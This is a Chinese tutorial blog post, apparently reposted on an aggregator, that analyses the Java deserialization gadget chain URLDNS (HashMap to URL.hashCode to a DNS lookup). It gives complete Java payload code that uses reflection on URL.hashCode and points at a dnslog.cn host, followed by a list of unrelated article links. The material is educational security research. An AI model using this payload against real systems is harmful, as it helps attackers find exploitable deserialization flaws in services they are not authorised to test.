当前位置: 首页 > news >正文

Java反序列化利用链篇 | URLDNS链

文章目录

  • URLDNS链
    • 调用链分析
    • Payload编写

系列篇其他文章,推荐顺序观看~

  • Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
  • Java反序列化利用链篇 | CC1链_全网最菜的分析思路
  • Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链
  • Java反序列化利用链篇 | URLDNS链
  • Java反序列化利用链篇 | CC6链分析(通用版CC链)

URLDNS链

URLDNS链是java通过反序列化发起dns请求的利用链。一般用于测试反序列化漏洞。

该链比较简单,利用链也比较短。

其中入口类为 HashMap,执行类为URLStreamHandler的hashCode()方法。

整个调用链如下:

HashMap.readObject()
HashMap.putVal()
HashMap.hash()URL.hashCode()URLStreamHandler.hashCode()URLStreamHandler.getHostAddress()

调用链分析

HashMapde readObject()方法会调用putVal()方法因而调用hash()方法,传递的参数为key,这个key为hashMap对象的存在的键。

之后会调用key.hashCode(),即key(Object)不同,调用的hashCode()不同。

而URL类中也存在hashCode方法,如果传入的key为URL对象,则会调用URL对象的hashCode():

如果调用了URL对象的hashCode,则会调用handler.hashCode(this)

其中handler为URLStreamHandler

因此,最终会调用URLStreamHandler对象的hashCode()

URLStreamHandler对象的hashCode()中会调用getHostAddress(u),进而发起DNS请求。

总结一下就是:

如果一个序列化的hashMap对象中存在一个URL对象,则在进行反序列hashMap对象的时候,就会触发URL对象的hashCode()方法,进而触发DNS请求。

Payload编写

基本代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();hashMap.put(url,'1');SerAndUnser.serialize(hashMap);

通过hashMap对象put进一个URL对象。

根据调用链,则在反序列化时会调用hashMap的readObject方法,其中url对象为key,然后调用到url.hashCode()URLStreamHandler.hashCode(url),最终触发到请求DNS的代码。

看似完美,但是运行时会发现,序列化hashMap对象时就已经触发了请求DNS代码。

为什么呢?

通过分析发现,hashMap的put方法也会调用hash(url)url.hashCode(),也就是说在执行hashMap.put(url,'1')时就会触发最终代码。

怎么办呢?

这里有两个思路:

  1. hashMap在put的时候,不将url放入hashMap,这样就不会触发url的hashCode。然后通过别的方式将url放入hashMap。
  2. 将url对象put进入hashMap,然后想办法不让url对象触发hashCode()或者是不触发URLStreamHandler.hashCode()

显然第一个思路实现不了,没有别的方式在hashMap对象中放入key。

那么就看一下第二个思路:

在put时不触发url的hashCode方法,这个显然也不行,只要put执行,hash()会执行,hashCode()必然执行,(除非key为空,但是不现实)。

那我们能不能阻止URLStreamHandler.hashCode()的执行呢?看下url对象的hashCode方法

发现:这里先是做了一个判断,如果hashCode为-1,则不会再执行到hashCode()了,这不正是我们想要的嘛。只需要将hashCode设置为-1。

但怎么设置呢?

首先,hashCode默认为-1

通过搜索也没有位置可以修改hashCode的值,那我们只能通过hashMap对象本身来修改了,但是hashCode又是private修饰,直接修改不了。

所以接下来需要使用反射处理,修改的代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

以上代码,序列化时没有触发最终代码了,但是在反序列化时也不触发了~

原因其实很简单,反序列化之前,hashMap对象存在URL对对象,但是URL对象的hashCode不是-1,因此反序列化时,执行不到handler.hashCode(),因此执行不到最终的代码。

解决方式是,在hashMap的put之后,再把url对象的hashCode值修改为-1即可。

最终代码如下:

        URL url = new URL("http://9bfi43.dnslog.cn");HashMap hashMap = new HashMap();// 将url对象中的hashCode修改为不是-1Class urlClass = url.getClass();  // 注意:是url对象,不是hashMap对象Field hashCodeField = urlClass.getDeclaredField("hashCode");hashCodeField.setAccessible(true);hashCodeField.set(url,1234); // 将url对象中的hashCode修改为不是-1即可hashMap.put(url,'1');// put之后再将hashCode的值修改回-1hashCodeField.set(url,-1);//        SerAndUnser.serialize(hashMap);SerAndUnser.unserialize("ser.bin");

执行反序列化会成功触发最终的DNS请求。

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 现代前端构建工具对比:Vue CLI、Webpack 和 Vite
  • C++【类和对象】(一)
  • Linux实用操作
  • OpenCV库学习之cv2.VideoWriter(函数)
  • 掌握 Spring:从新手到高手的常见问题汇总
  • OpenCV特征检测(2)边缘检测函数Canny()的使用
  • Spring在不同类型之间也能相互拷贝?
  • 【Verilog学习日常】—牛客网刷题—Verilog企业真题—VL77
  • Linux 生成 git ssh 公钥
  • Linux 内核的版本控制
  • linux-系统备份与恢复-系统恢复
  • Redis主要问题
  • C语言习题~day25
  • mac 怎么查看CPU核数
  • Arthas jvm(查看当前JVM的信息)
  • 《网管员必读——网络组建》(第2版)电子课件下载
  • 【node学习】协程
  • Android 架构优化~MVP 架构改造
  • C++类的相互关联
  • DOM的那些事
  • iOS 系统授权开发
  • Less 日常用法
  • Yii源码解读-服务定位器(Service Locator)
  • 分布式任务队列Celery
  • 工作手记之html2canvas使用概述
  • 简单易用的leetcode开发测试工具(npm)
  • 普通函数和构造函数的区别
  • 消息队列系列二(IOT中消息队列的应用)
  • 中国人寿如何基于容器搭建金融PaaS云平台
  • ​Spring Boot 分片上传文件
  • # 利刃出鞘_Tomcat 核心原理解析(八)-- Tomcat 集群
  • (1)Android开发优化---------UI优化
  • (32位汇编 五)mov/add/sub/and/or/xor/not
  • (CPU/GPU)粒子继承贴图颜色发射
  • (java版)排序算法----【冒泡,选择,插入,希尔,快速排序,归并排序,基数排序】超详细~~
  • (Redis使用系列) Springboot 实现Redis消息的订阅与分布 四
  • (二)hibernate配置管理
  • (二)正点原子I.MX6ULL u-boot移植
  • (附源码)ssm基于jsp高校选课系统 毕业设计 291627
  • (一)基于IDEA的JAVA基础1
  • (转)C#调用WebService 基础
  • .bat批处理(八):各种形式的变量%0、%i、%%i、var、%var%、!var!的含义和区别
  • .net core使用EPPlus设置Excel的页眉和页脚
  • .NET Framework 和 .NET Core 在默认情况下垃圾回收(GC)机制的不同(局部变量部分)
  • .Net Remoting常用部署结构
  • .Net 路由处理厉害了
  • .NET/C# 使用反射注册事件
  • .NET是什么
  • @RequestBody与@ResponseBody的使用
  • @RequestMapping用法详解
  • [ vulhub漏洞复现篇 ] Apache APISIX 默认密钥漏洞 CVE-2020-13945
  • [001-03-007].第07节:Redis中的事务
  • [2021 蓝帽杯] One Pointer PHP
  • [AIGC] SQL中的数据添加和操作:数据类型介绍
  • [Algorithm][综合训练][拜访][买卖股票的最好时机(四)]详细讲解